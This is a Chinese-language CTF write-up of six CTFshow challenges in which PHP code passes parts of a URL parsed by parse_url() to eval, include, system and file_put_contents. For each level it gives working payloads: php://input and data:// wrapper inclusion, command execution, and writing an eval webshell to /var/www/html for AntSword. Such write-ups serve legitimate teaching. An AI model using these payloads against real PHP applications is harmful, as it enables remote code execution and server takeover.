前言:
本文章例题来源于CTFshow每周大挑战,文中若有错误还请指出
什么是PARSE_URL函数?
parse_url() 是 PHP 内置函数之一,用于解析 URL 字符串,将其拆分为不同的组成部分,可以获取协议、主机名、端口号、路径、查询参数等信息。
语法为:
parse_url ( string $url [, int $component = -1 ] )
示例:
<?php
$url = 'http://user:pass@host/path?args=value#anch';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果:
Array
(
[scheme] => http
[host] => host
[user] => user
[pass] => pass
[path] => /path
[query] => args=value
[fragment] => anch
)
第一关:
<?php
$data = parse_url($_GET['u']);
eval($data['host']);
?>
分析可得,该代码将parse_url函数处理结果传递给 data数组,并将URL中的host部分作为php代码执行
这里说一下为什么不能直接在host部分直接传入
system('ls /')
等带“/”
的payload,因为该函数默认把 host部分 / 后面的字符串识别为PATH部分
,这样我们传入的host部分只为system('ls
因而无法被正确执行
payload1:
?u=http://eval($_POST[w]);
POST传参进行命令执行即可
payload2:
?u=http://system(‘cd … ; cd … ; cd … ; ls’);/
" ; " 为命令连接符用于一条语句执行多个命令
这里使用 cd..逐级跳转目录,巧妙地替代了符号 /(直接遍历根目录),但是cd的正确层级需要慢慢尝试
第二关:
<?php
$data = parse_url($_GET['u']);
include $data['host'].$data['path'];
?>
分析可得该代码会使用 include 函数包含 我们所传入URL的host及 path部分
payload1:
?u=http:php://input
POST传参
<?php system('ls /'); ?>
这里利用到了该函数的一个特性:
当我们输入
?u=http:php://
这样的格式时,path为php://
parse_url函数会把http:后面
的部分全部识别为path,host部分为空
payload2:
?u=http://data:: //text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
#host=data:
#path=//text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
这里使用的data://伪协议进行传参
解释一下为什么data后面会有两个冒号,该函数会默认最后一个冒号后面是端口port,如果只有一个冒号的话,我们所传入的host部分为data,其中的冒号被当做端口部分,所以加一个绕过
第三关:
<?php
$data = parse_url($_GET['u']);
include $data['scheme'].$data['path'];
?>
分析可得该代码会使用include函数包含我们所传入URL的 scheme及path部分
payload1:
GET传参
?u==php:://input
POST传参
<?php system('ls /'); ?>
#scheme(传输协议)=php
#path=://input
这里和第二关的payload1原理相似,该函数会把scheme(传输协议)后的第一个冒号后的内容识别为path
例如:
当我们输入
?u=http:://good
时,
path是“://good”
scheme是“http”
拼接在一起就是“http://123”。
我们要使用php://input伪协议,只需将http改为php,将://good改为://input即可
payload2:
?u=data:://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgL19mMWFfZ18xc19oM3JlIik7Pz4=
与payload1原理一样,只是把 php://input 伪协议换为了 data://
第四关:
<?php
$data = parse_url($_GET['u']);
system($data['host']);
?>
分析可得该代码会将URL的host部分当做系统命令执行
payload1:
?u=http://cd ..;cd ..;cd ..;ls
与第一关的payload2原理一样,都是使用的cd逐级跳转目录
第五关:
<?php
extract(parse_url($_GET['u']));
include $$$$$$host;
?>
关于extrac函数可以参考我的这篇文章
这道题本质就是利用URL的各组成部分进行变量套娃
payload1:
GET传参
?u=user://pass:fragment@scheme/?php://input%23query
注:%23是#的url编码,如果不写%23直接写#,#后的内容会被浏览器直接过滤掉。
POST传参
<?php system('ls /');?>
这样的话:
$host=scheme
$$host=$scheme=user
$$$host=$user=pass
$$$$host=$pass=fragment
$$$$$host=$fragment=query
$$$$$$host=$query=php://input
第六关:
<?php
$data = parse_url($_GET['u']);
file_put_contents($data['path'], $data['host']);
?>
分析代码可得 可以用file_put_contents函数,往path代表的文件里写入host代表的内容,如果文件不存在的话,会自动创建文件,我们可以借此getshell或者传入system命令
payload1:
?u=http://<script language='php'>phpinfo();/var/www/html/a.php
#$data['host']=<script language='php'>eval($_GET[1]);;
#$data['path']=/var/www/html/a.php
然后访问a.php
url/a.php?1=system('ls /');
这里解释下为什么PHP代码要用\<script>标签表示
由于?后面会被解析成query,所以需要更换php标签,这里用的js,由于path中一定会有/,所以选择绝对路径上传,这里路径猜测默认路径
绝大多数CTF赛题的web路径都为/var/www/htm
payload2:
getshell方法
?u=//<script language="php"> eval($_POST['1']);/var/www/html/1.php
密码为1,蚁剑连接即可